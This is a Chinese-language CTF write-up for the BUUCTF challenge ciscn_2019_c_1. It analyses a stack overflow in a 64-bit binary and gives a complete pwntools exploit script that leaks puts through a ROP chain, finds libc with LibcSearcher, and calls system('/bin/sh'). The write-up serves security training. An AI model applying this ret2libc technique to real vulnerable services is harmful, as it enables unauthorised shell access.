BUUCTF ciscn_2019_c_1(rop_x64,泄露libc)

由於Ubuntu18運行機制與前面版本的不同,在調用system的時候需要進行棧對齊

0x1 檢查文件

在這裏插入圖片描述

  • 64位elf
  • 無canary
  • 無PIE

0x02 流程分析

在這裏插入圖片描述
根據運行的流程,這個程序主要有兩個功能,加密功能可以使用,但解密功能沒辦法使用,並且能夠輸入的地方就兩個,一個選擇程序,數字輸入,第二個輸入加密文本,字符串類型,之後的靜態分析主要關注這兩個地方。

0x02 靜態分析

在這裏插入圖片描述
  經過分析,主要漏洞點在加密函數之中,可以看到輸入s時沒有經過邊界檢查,存在棧溢出漏洞,搜尋程序也沒有可用的後門函數,需要自己泄露libc版本並構建ROP鏈。
  值得注意的是,函數裏面有一個變量x,這個x代表這輸入的數據是否需要加密,當我們輸入字符串長度比原有x大的時候纔會加密,加密函數很簡單,只是一個異或操作,可以直接將語法改一下添加到exp裏面。

0x04 思路分析

  由於程序沒有可用的後門函數,但有puts這個函數,就可以通過構造rop泄露出libc的版本和函數地址,利用LibcSearcher或者DynELF可以查到libc的版本,之後獲取libc裏面的地址構造ROP鏈,獲取shell。
  由於兩次的payload長度是一樣的,加密函數裏面的x經過第一個payload之後,值已經改變,第二次payload輸入是不會被加密的,可直接使用。

exp

from pwn import *
from LibcSearcher import *

def encrypt(string):
    newstr = list(string)
    for i in range(len(newstr)):
        c = ord(string[i])
        if c <= 96 or c > 122:
            if c <= 64 or c > 90:
                if c > 47 and c <= 57:
                    c ^= 0xF
            else:
               c ^= 0xE
        else:
            c ^= 0xD
        newstr[i] = chr(c)
    return ''.join(newstr)
#p = remote('node3.buuoj.cn',29403)
p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400C83 #一個萬能的gadget,x64程序基本都存在,pop rdi;ret;
#start_addr = 0x0000000000400790
main_addr = 0x000000000400B28 #主函數地址
p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
#泄露puts實際地址
payload = '1'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(encrypt(payload))

#print encrypt(payload)

p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
#接受puts的實際地址
addr = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))

#print "addr=", hex(addr)
#此處搜尋到的libc是本機的libc-2.23.so,需要自行添加到database,
#具體方法可上github,搜尋libc_database項目
libc = LibcSearcher('puts', addr)
libcbase = addr - libc.dump('puts')

#print 'str_bin_sh=',hex(libc.dump('str_bin_sh'))
#print libc.dump('system')

p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
#下面爲正常腳本,可以在kali中拿到shell,如果是Ubuntu18,需要在裏面加ret進行棧對齊
payload = '1'*0x58+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
ret = 0x4006b9
payload_Ubuntu18 = '1'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章